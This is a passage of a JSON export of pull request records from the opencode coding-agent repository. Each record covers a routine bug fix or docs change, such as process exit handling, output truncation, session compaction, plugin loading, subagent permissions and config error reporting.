        "text": "### Issue for this PR Fixes #41806 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `ChildProcessHandle.exitCode` was settled from Node's `close` event, which waits for stdio to close after the direct child exits. A descendant that inherits one of those pipes can therefore keep the direct child's exit signal pending. This settles the signal from `exit` instead and retains `close` as a fallback. The change is intentionally limited to the handle lifecycle; callers that separately collect streams continue to wait for stream completion. ### How did you verify your code works? - `cd packages/core && bun test test/effect/cross-spawn-spawner.test.ts` — 25 pass, 0 fail - `cd packages/core && bun typecheck` The regression starts a parent that spawns a descendant with inherited stdout, records readiness, and exits. The descendant holds the pipe open until the test releases it, proving that `exitCode` settles from the direct child's exit rather than the later stream close. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42275",
        "createdAt": "2026-08-13T08:11:26Z",
        "updatedAt": "2026-08-13T14:06:56Z",
        "timestamp": "2026-08-13T14:06:56Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42278",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): keep shell tail when oversized line ends with newline",
        "text": "### Issue for this PR Closes #42277 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `tail()` walks the output lines backwards and, when even the last line on its own exceeds `max_bytes`, byte-slices that line so the model still gets a tail. The fallback is guarded by `out.length === 0`. For output ending in a newline, `split(\"\\n\")` produces a trailing empty sentinel that gets unshifted into `out` first — it costs 0 bytes, but it makes the guard false, so the fallback never runs and `tail()` returns an empty string. The model then receives the \"output truncated\" banner followed by `(no output)`. The guard now checks `bytes === 0`, which is what it meant to express (\"nothing emitted yet\"), since the sentinel contributes no bytes. Multi-line output is unaffected — it never reached the fallback. The branch was unreachable for newline-terminated output before, so this only turns dead code back on. ### How did you verify your code works? Added `keeps a tail when the oversized line ends with a newline` beside the existing byte-limit test, reusing the same `fill()` generator with a trailing newline. - On `dev` it fails: `Expected to not contain: \"(no output)\"`, received the banner plus `(no output)` - With the fix it passes and the body carries the last 50 KB - `bun test test/tool/` from `packages/opencode`: 339 pass, 0 fail - `bun typecheck` from `packages/opencode`, and the pre-push `bun turbo typecheck`: 30/30 packages ### Screenshots / recordings N/A — not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR Disclosure: found and fixed with AI assistance; I reviewed and verified every claim locally.",
        "url": "https://github.com/anomalyco/opencode/pull/42278",
        "createdAt": "2026-08-13T08:33:37Z",
        "updatedAt": "2026-08-13T08:33:37Z",
        "timestamp": "2026-08-13T08:33:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42281",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): apply external plugin changes after startup batch commits",
        "text": "### Issue for this PR Closes #42280 ### Type of change - [x] Bug fix ### What does this PR do? `ConfigExternalPlugin` loads plugins in a `forkScoped` fiber, which inherits the ambient `State` batch. Startup wraps loading in `State.batch(...)`, so once the startup effect returns, the batch is drained and gone — but the async plugin load finishes later, and its `transform()` calls enqueue their reloads into that dead set. The plugin's agents/tools/skills never materialize, with no error. The fix adds `State.unbatched(effect)`, which clears the inherited `CurrentBatch` so transforms reload immediately, and wraps the forked loader in it. Also replaces the silent `Effect.ignoreCause` with discovery/load/error logs so a failing plugin is visible instead of vanishing. ### How did you verify your code works? Added a regression test in `packages/core/test/config/plugin.test.ts` that wraps the plugin effect in `State.batch`, matching the real startup path. It times out waiting for the plugin-registered agent without the fix and passes with it. `bun test test/config/ test/plugin/` (281 tests) and `bun typecheck` pass in `packages/core`. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR (Recreated from #42245, which was auto-closed by the compliance check before the description was updated.)",
        "url": "https://github.com/anomalyco/opencode/pull/42281",
        "createdAt": "2026-08-13T08:38:45Z",
        "updatedAt": "2026-08-13T08:38:45Z",
        "timestamp": "2026-08-13T08:38:45Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "To-Term",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42283",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): ignore failed compaction summaries when reordering",
        "text": "### Issue for this PR Closes #42282 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `filterCompacted` decides \"this compaction is complete\" twice, with two different tests. The truncation loop requires `summary && finish && !error`; the reordering branch underneath only checks `summary`. A compaction whose summary turn failed lands between them: the loop keeps the full history, then the reorder returns `[compaction..summary] + [tail..compaction] + [after summary]` and drops everything before `tail_start_id`. Since the summary failed there is nothing to replace that history, and the errored assistant message is dropped by `toModelMessagesEffect` anyway. `tail_start_id` is persisted even on failure, so the loss repeats every turn. This makes the reordering branch use the same test as the loop. Successful compactions are unaffected — the reorder still fires, this only stops it firing on a summary the loop already considers incomplete. Only the guard is changed. Tightening the `tail_start_id` write in `compaction.ts` would stop new sessions from getting into this state, but sessions that already have the marker persisted still need this guard to recover, so it seemed like the right single place to fix. ### How did you verify your code works? Added `keeps history before tail_start_id when the summary failed` directly beside the existing success-path test `retains original tail when compaction stores tail_start_id`, reusing the same `addUser` / `addAssistant` / `addCompactionPart` helpers with an errored summary instead of a finished one. - On `dev` it fails: expected all 8 messages, received 6 — the first turn's user and assistant messages are missing and the compaction pair is hoisted to the front - With the fix it passes and history stays chronological From `packages/opencode`: - `bun test test/session/messages-pagination.test.ts` — 52 pass, 0 fail - `bun test test/session/message-v2.test.ts` — 39 pass, 0 fail - `bun test test/session/compaction.test.ts` — 54 pass, 1 skip, 0 fail - `bun test test/session/prompt.test.ts` — 57 pass, 1 skip, 0 fail - `bun test test/session/revert-compact.test.ts` — 8 pass, 0 fail - `bun test test/session/snapshot-tool-race.test.ts` — 1 pass, 0 fail - `bun typecheck`, and the pre-push `bun turbo typecheck` — 30/30 packages - Prettier clean; `oxlint` warning count unchanged from baseline on both files I also drove the whole path end to end against the real `SessionCompaction.process` with persistence — three turns, then an auto-compaction whose summary request returns a non-retryable 401 — and confirmed the next turn sees 3 of 5 messages before the change and all 5 after. That one is slow and provider-shaped so I left it out of the suite; happy to add it if you'd like it committed. Did not run the rest of `packages/opencode`. ### Screenshots / recordings N/A — not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR Disclosure: found and fixed with AI assistance; I reviewed and verified every claim locally.",
        "url": "https://github.com/anomalyco/opencode/pull/42283",
        "createdAt": "2026-08-13T08:44:44Z",
        "updatedAt": "2026-08-13T08:44:44Z",
        "timestamp": "2026-08-13T08:44:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42289",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(cli): stop `run` from sleeping through an exhausted quota",
        "text": "Fixes #40747 — `opencode run` produces no output and never returns when a model's quota is exhausted. It isn't wedged, it's sleeping. The quota error is classified as retryable, and `delay()` honors the provider's `retry-after`, which for a monthly limit is days. While the schedule sleeps, `halt()` never runs, so no `session.error` and no `idle` are published, and `loop()` in `cli/cmd/run.ts` breaks only on `idle` and has no branch for `retry` status. The TUI is unaffected because it shows the retry in its footer; a headless run has nowhere to show it. I left the retry timing alone — honoring long `retry-after` values was deliberate in 0a2d7af17, and waiting out a short rate limit is useful. The change is only in the non-interactive loop: - print the retry status, which today prints nothing at all in headless runs - exit non-zero when `action.reason` is `free_tier_limit` / `account_rate_limit`; transient retries (429/5xx) carry no `action.reason` and still wait and retry as before - abort the session before returning, because breaking out of the loop isn't enough to end the process — the sleeping schedule holds the in-process server open, and without the abort it still has to be killed ## How I verified it New test in `test/cli/run/run-process.test.ts`: the test provider returns a 429 carrying `GoUsageLimitError` with `retry-after: 345600`, and the run must exit non-zero and mention the limit on stderr. On unmodified `dev` it hangs until the harness kills it at 30 s; with this change it passes in ~2 s. Setting that header needed an optional `headers` argument on `httpError()` / `llm.error()` in the test harness — `retry-after` drives the delay and there was no way to set it before. `bun test test/session/retry.test.ts test/cli/run/` → 250 pass, 5 skip, 0 fail. `tsc --noEmit` matches the `dev` baseline.",
        "url": "https://github.com/anomalyco/opencode/pull/42289",
        "createdAt": "2026-08-13T09:08:15Z",
        "updatedAt": "2026-08-13T11:17:10Z",
        "timestamp": "2026-08-13T11:17:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "DaisukeYoda",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42290",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): scope review panel to the session's own file changes",
        "text": "### Issue for this PR Closes #41399 ### Type of change - [x] Bug fix ### What does this PR do? The Review / Files Changed panel in a session shows the full working-tree diff of the project directory. The working tree is shared by every session in the same folder, so a clean session B displays files that a concurrent session A is actively writing (#41399, #40736). The panel was not scoped to what this session actually changed, and the VCS query cache key (`[\"session-vcs\", directory, branch, default_branch]`) contained no session ID, so cache entries were shared across sessions. Changes: - Add a `sessionTouchedFiles()` helper (with unit tests) that collects the files this session's own turns changed, from the per-message diff summaries the server stores. - In `git`/`branch` review mode, intersect the working-tree diff with that set, so the panel only shows changes this session made (empty for sessions that wrote nothing). - Add `params.id` to the `session-vcs` cache key so each session's VCS state is cached separately. The server-side snapshot scoping is tracked separately (#40736, complementary PR #40821); this PR fixes the app-layer symptom and works regardless of server behaviour. ### How did you verify your code works? - `bun run test:unit` in `packages/app`: 503 pass / 0 fail (includes 5 new unit tests for `sessionTouchedFiles`) - `bun run typecheck`: green - Live functional check against a real server + real model turns: a clean session shows an empty Review panel while another session's changes exist in the working tree; the session's own writes appear in its per-message diff (data verified server-side). ### Screenshots / recordings No screenshot included — verification was done via the automated suite and the live functional negative control described above. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42290",
        "createdAt": "2026-08-13T09:08:58Z",
        "updatedAt": "2026-08-13T09:17:27Z",
        "timestamp": "2026-08-13T09:17:27Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "yaosongding",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42292",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): recover orphaned task runs",
        "text": "### Issue for this PR Closes #42286 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When a persisted `task` call outlives its in-memory session runner, abort now marks the stale task part and its parent assistant message as aborted instead of leaving both unfinished. It also avoids the `dummy` session route during `--continue --fork` startup and returns to home when no session is available. ### How did you verify your code works? - Ran native `tsgo --noEmit` in `packages/opencode` and `packages/tui`. - Ran focused runner, task, orphan-recovery HTTP, and TUI lifecycle tests. ### Screenshots / recordings Not applicable: terminal startup behavior is covered by a lifecycle test. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42292",
        "createdAt": "2026-08-13T09:15:38Z",
        "updatedAt": "2026-08-13T09:26:43Z",
        "timestamp": "2026-08-13T09:26:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "0xfed",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42296",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): drop empty text separators between signed reasoning blocks",
        "text": "### Issue for this PR Closes #41738 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Anthropic signs `thinking`/`redacted_thinking` reasoning blocks and rejects any modification to the assistant message that contains them. Empty text parts (`\"\"`) can appear as structural separators between reasoning groups (e.g. `step-start, reasoning(sig), text(\"\"), step-start, reasoning(sig)`). Previously these were rewritten to a single space (`\" \"`) to survive AI SDK filtering, but that mutation itself causes Anthropic to reject the signed reasoning blocks as \"modified\" — breaking compaction for any session using extended thinking. This drops empty text parts entirely when signed reasoning is present. Step-start parts already delimit reasoning groups, so the separator is not needed. The signed blocks remain byte-for-byte identical to the original response. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/message-v2.test.ts` — 37 pass, 0 fail - `cd packages/opencode && bun test test/session/compaction.test.ts` — 52 pass, 1 skip, 0 fail - `cd packages/opencode && bun typecheck` — clean - Changed-file Prettier and `git diff --check` Two new tests verify that signed reasoning and redacted thinking blocks survive `toModelMessages` with their signatures intact and no mutated text separator. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42296",
        "createdAt": "2026-08-13T09:50:59Z",
        "updatedAt": "2026-08-13T09:54:00Z",
        "timestamp": "2026-08-13T09:54:00Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42297",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session-ui): preserve caret after prompt editor rebuild",
        "text": "### Issue for this PR Fixes #42335 Related to #37037 / #36210 (caret jumps around in the prompt input while the session updates). This PR fixes the variant I could reproduce and verify on the current v2 composer: inserting a @mention mid-text on the **session page** collapses the caret to the END of the prompt instead of keeping it right after the mention. I could not reproduce the streaming-output case from #37037 on current `dev`, so I only claim the mention-insertion scenario here. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `renderPromptInputV2Editor` rebuilds the editor DOM (`replaceChildren`) whenever the prompt store changes outside a local input (mention insertion, history navigation, followup edit). After the rebuild it always collapsed the caret to the end of the editor, ignoring the cursor position stored in the prompt store. Reproduced on the session page: after inserting `@src/index.ts` mid-text, the caret lands at offset 32 (end of a 32-char prompt) instead of 21 (right after the mention). Changes in `packages/session-ui/src/v2/components/prompt-input`: - `interaction.ts`: expose `cursor()` on the controller so the editor can read the authoritative stored caret position. - `index.tsx`: restore the caret from the stored cursor after a rebuild, falling back to the pre-rebuild DOM caret when no cursor is stored. Mentions are uneditable spans that still occupy their text length, so `setPromptInputV2Cursor` places the caret before/after a mention, never inside it. ### How did you verify your code works? - New e2e regression test `packages/app/e2e/regression/prompt-caret-after-mention.spec.ts`: types \"please fix the bug\", moves the caret to offset 7, inserts `@src/index.ts` mid-text on a session page, and asserts the caret lands at offset 21. It failed before the fix (caret at 32) and passes after. Run with: `bunx playwright test e2e/regression/prompt-caret-after-mention.spec.ts` - `bun run typecheck` in `packages/session-ui` passes. - `bun test src` in `packages/session-ui`: 83 tests pass. - Existing prompt e2e (`prompt-input-v2-command-draft`) still passes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42297",
        "createdAt": "2026-08-13T10:00:07Z",
        "updatedAt": "2026-08-13T14:23:46Z",
        "timestamp": "2026-08-13T14:23:46Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "gold-beyond",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42303",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): clarify possible tool argument truncation",
        "text": "### Issue for this PR Closes #42224 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Large tool arguments can end in an unterminated JSON string when generation stops before the model emits the closing syntax. The resulting parser error does not explain the likely cause or how to adjust the configured output limit. This PR makes that failure actionable without treating every unterminated string as proof of token-limit truncation. For an unterminated tool-call JSON parse, the invalid-tool result says the arguments may have been truncated, names the configured output token limit, points to `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX`, and preserves the original parser error. Other malformed tool inputs keep their original diagnostics. The internal `invalid` repair tool remains available to the AI SDK parser but is removed from the provider request, so the repaired diagnostic reaches the user without advertising an implementation-only tool to the model. A direct `finish_reason: \"length\"` also emits a structured warning with the session, message, model, and provider IDs. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/llm.test.ts` — verifies the qualified truncation diagnostic, the unchanged non-truncation parse error, and that the internal repair tool is absent from the provider request - `cd packages/opencode && bun test test/session/processor-effect.test.ts` — verifies the processor path - `cd packages/opencode && bun typecheck` - Changed-file Prettier and `git diff --check` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42303",
        "createdAt": "2026-08-13T10:27:16Z",
        "updatedAt": "2026-08-13T14:05:35Z",
        "timestamp": "2026-08-13T14:05:35Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42309",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): report config parse errors against the original text",
        "text": "### Issue for this PR Closes #42308 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Config is loaded by substituting `{env:...}` / `{file:...}` first and parsing the result, so when parsing fails `jsonc()` quotes back the substituted text - the one that has the real values in it. `jsonc()` now takes the pre-substitution text as an optional third argument and reports against that instead: - if the file itself has the syntax error (the common case - a missing comma), it is re-parsed and quoted as written, so placeholders stay placeholders and the positions point into the file the user actually edited - if the file parses fine, then a substituted value is what broke the JSON. There is nothing useful to point at without printing that value, so it gets a fixed message instead The third argument is optional and the other callers don't pass it, so their behaviour is unchanged. `tui.json` goes through the same function, and its failure is reported with `Effect.logWarning`, so it also ends up in `~/.local/share/opencode/log/opencode.log`. ### How did you verify your code works? Two tests in `packages/opencode/test/config/config.test.ts`, next to the existing `preserves env variables when adding $schema to config`. Both fail on `dev` - the first one shows `\"username\": \"secret_value\"` in the error output - and pass here. ``` cd packages/opencode bun test test/config/ # 185 pass, 3 skip, 0 fail (183 on dev, +2 new) bun test test/cli/error.test.ts # 6 pass ``` Also checked against the real CLI with a config that has a syntax error and `\"apiKey\": \"{env:DEMO_KEY}\"`: before, the quoted block contains the key; after, it shows `{env:DEMO_KEY}`. ### Screenshots / recordings Not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42309",
        "createdAt": "2026-08-13T11:59:44Z",
        "updatedAt": "2026-08-13T11:59:44Z",
        "timestamp": "2026-08-13T11:59:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42310",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): cascade auto permissions to subagent sessions",
        "text": "### Issue for this PR Fixes #41730 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When `opencode run` spawns a subagent, permission requests belong to the child session. Filtering only for the root session leaves that subagent waiting forever. The run event loop now accepts permission requests from the attached root session and sessions whose `parentID` chain reaches that root. Proven descendants are cached. Requests from unrelated sessions in the same workspace remain untouched, so `--auto` cannot approve another concurrent session's request. ### How did you verify your code works? - `cd packages/opencode && bun test test/cli/run/run-process.test.ts` — 16 pass, 0 fail - `cd packages/opencode && bun test test/permission-task.test.ts` — 21 pass, 0 fail - `cd packages/opencode && bun typecheck` The subprocess matrix covers child auto-approval, child auto-rejection without `--auto`, and an attach-mode negative case proving an unrelated session's pending permission is not answered. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
        "url": "https://github.com/anomalyco/opencode/pull/42310",
        "createdAt": "2026-08-13T12:00:20Z",
        "updatedAt": "2026-08-13T14:03:17Z",
        "timestamp": "2026-08-13T14:03:17Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42311",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "chore(catalog): remove wrangler state",
        "text": "## Summary - remove checked-in Miniflare cache database files - ignore catalog-local `.wrangler` runtime state ## Checks - `git diff --check` - `git check-ignore -v packages/lab/catalog/.wrangler/example.sqlite` Requested by: @kitlangton (Kit Langton via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42311",
        "createdAt": "2026-08-13T12:02:33Z",
        "updatedAt": "2026-08-13T12:02:43Z",
        "timestamp": "2026-08-13T12:02:43Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42312",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(desktop): update composer dropzone",
        "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Updates the desktop composer dropzone to use a 0.5px focus-token outline with 3px dashes and a 5% accent background in both themes. The outline is rendered in an absolute overlay to avoid changing the composer's layout, and the label is shortened to \"Drop to attach\". ### How did you verify your code works? Ran `bun typecheck` and `bun test src --only-failures` from `packages/session-ui`. ### Screenshots / recordings Before https://anoma-ly.slack.com/archives/C0BFS9520BG/p1786493803594009 After https://github.com/user-attachments/assets/aaed27e8-2271-4085-ae47-a21a1f65f236 ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/42312",
        "createdAt": "2026-08-13T12:18:28Z",
        "updatedAt": "2026-08-13T13:14:42Z",
        "timestamp": "2026-08-13T13:14:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "usrnk1",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42313",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: fix package manager code blocks",
        "text": "## Summary - replace hand-written install tabs with Blume's formatter-safe `CodeGroup` - combine npm, bun, pnpm, Yarn, and curl into one install selector with npm first - keep package manager labels separate from the `bash` syntax language - prevent the repository generation/formatting workflow from collapsing fences and reintroducing `bash` as command text ## Checks - `./script/generate.ts` (source remains unchanged after generation and formatting) - `bun node_modules/.bin/blume check` - `bun node_modules/.bin/blume validate` - `bun node_modules/.bin/blume build` - `bun script/prepare-cloudflare.ts` Requested by: @kitlangton (Kit Langton via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42313",
        "createdAt": "2026-08-13T12:22:47Z",
        "updatedAt": "2026-08-13T14:57:48Z",
        "timestamp": "2026-08-13T14:57:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42314",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: remove Ling 3.0 Tiny free model",
        "text": "## Summary - remove Ling-3.0-tiny Free from Zen model and pricing tables - remove its promotional availability and data-use notes across all localized Zen docs ## Verification - `bun run build` in `packages/web` - repository pre-push typecheck - `git diff --check`",
        "url": "https://github.com/anomalyco/opencode/pull/42314",
        "createdAt": "2026-08-13T12:44:17Z",
        "updatedAt": "2026-08-13T12:48:56Z",
        "timestamp": "2026-08-13T12:48:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "MrMushrooooom",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42316",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): filter compaction events from jsonl output",
        "text": "### Issue for this PR Fixes #42238 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When auto-compaction occurs, `opencode run --format json` emits internal compaction output (summaries, step events, reasoning) as ordinary JSONL events. Consumers cannot distinguish these from user-visible assistant output. The fix tracks compaction message IDs from `message.updated` events (where `info.mode === \"compaction\"`) and skips all parts belonging to those messages. Synthetic continuation prompts are also filtered via `part.synthetic`. ### How did you verify your code works? All 13 existing `run-process.test.ts` tests pass with no regression. `bun typecheck` passes clean. The `compactionMessages` Set is populated from `message.updated` which fires before any `message.part.updated` for the same message (sequential publish in the same Effect fiber), so the filter is always in place before parts arrive. A dedicated compaction test would require triggering real context overflow in the subprocess harness, which is complex with the mock LLM server. The fix was verified manually against the issue's reproduction steps. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
        "url": "https://github.com/anomalyco/opencode/pull/42316",
        "createdAt": "2026-08-13T12:54:23Z",
        "updatedAt": "2026-08-13T12:54:23Z",
        "timestamp": "2026-08-13T12:54:23Z",
        "metrics": {
          "reactions": 1,
          "comments": 0
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42317",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): include agent identity in system prompt",
        "text": "### Issue for this PR Fixes #42125 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The model does not know which agent it is running as because the agent identity is not included in the system prompt. The `<env>` block already contains model ID, working directory, platform, and date — this adds `Agent: ${agent.name}`. The `environment` function signature changes from `(model)` to `(model, agent)`, consistent with `sys.skills(agent)` and `sys.mcp(agent)` which already receive the agent. ### How did you verify your code works? Two tests in `test/session/system.test.ts` verify the agent name appears in the environment output — one with the built-in `build` agent and one with a custom `reviewer` agent. `bun typecheck` passes clean. Only one caller of `sys.environment` exists in the codebase (`prompt.ts:1259`), updated. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
        "url": "https://github.com/anomalyco/opencode/pull/42317",
        "createdAt": "2026-08-13T12:54:24Z",
        "updatedAt": "2026-08-13T12:54:24Z",
        "timestamp": "2026-08-13T12:54:24Z",
        "metrics": {
          "reactions": 1,
          "comments": 0
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42319",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): recover corrupt snapshot index",
        "text": "### Issue for this PR Closes #42237 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Snapshot capture now recovers an invalid private Git index after a failed capture. Recovery is restricted to OpenCode snapshot storage, replaces only the index from the source repository, and retries once under the existing repository lock. Historical objects and tree IDs remain available. ### How did you verify your code works? - bun test test/git.test.ts test/snapshot.test.ts — 9 passed - Corrupt-index regression with --rerun-each 10 — 10 passed - bun typecheck - Prettier and Oxlint — 0 errors The full Core suite passed 1076 tests with 7 unrelated Windows/npm environment failures. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42319",
        "createdAt": "2026-08-13T13:04:00Z",
        "updatedAt": "2026-08-13T13:04:00Z",
        "timestamp": "2026-08-13T13:04:00Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "dajiaohuang",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42323",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: italian translation of references.mdx page",
        "text": "### Issue for this PR ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? - I translated the `references.mdx` page into Italian. ### How did you verify your code works? - in packages/web run `bun run build` - repository pre-push typecheck ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42323",
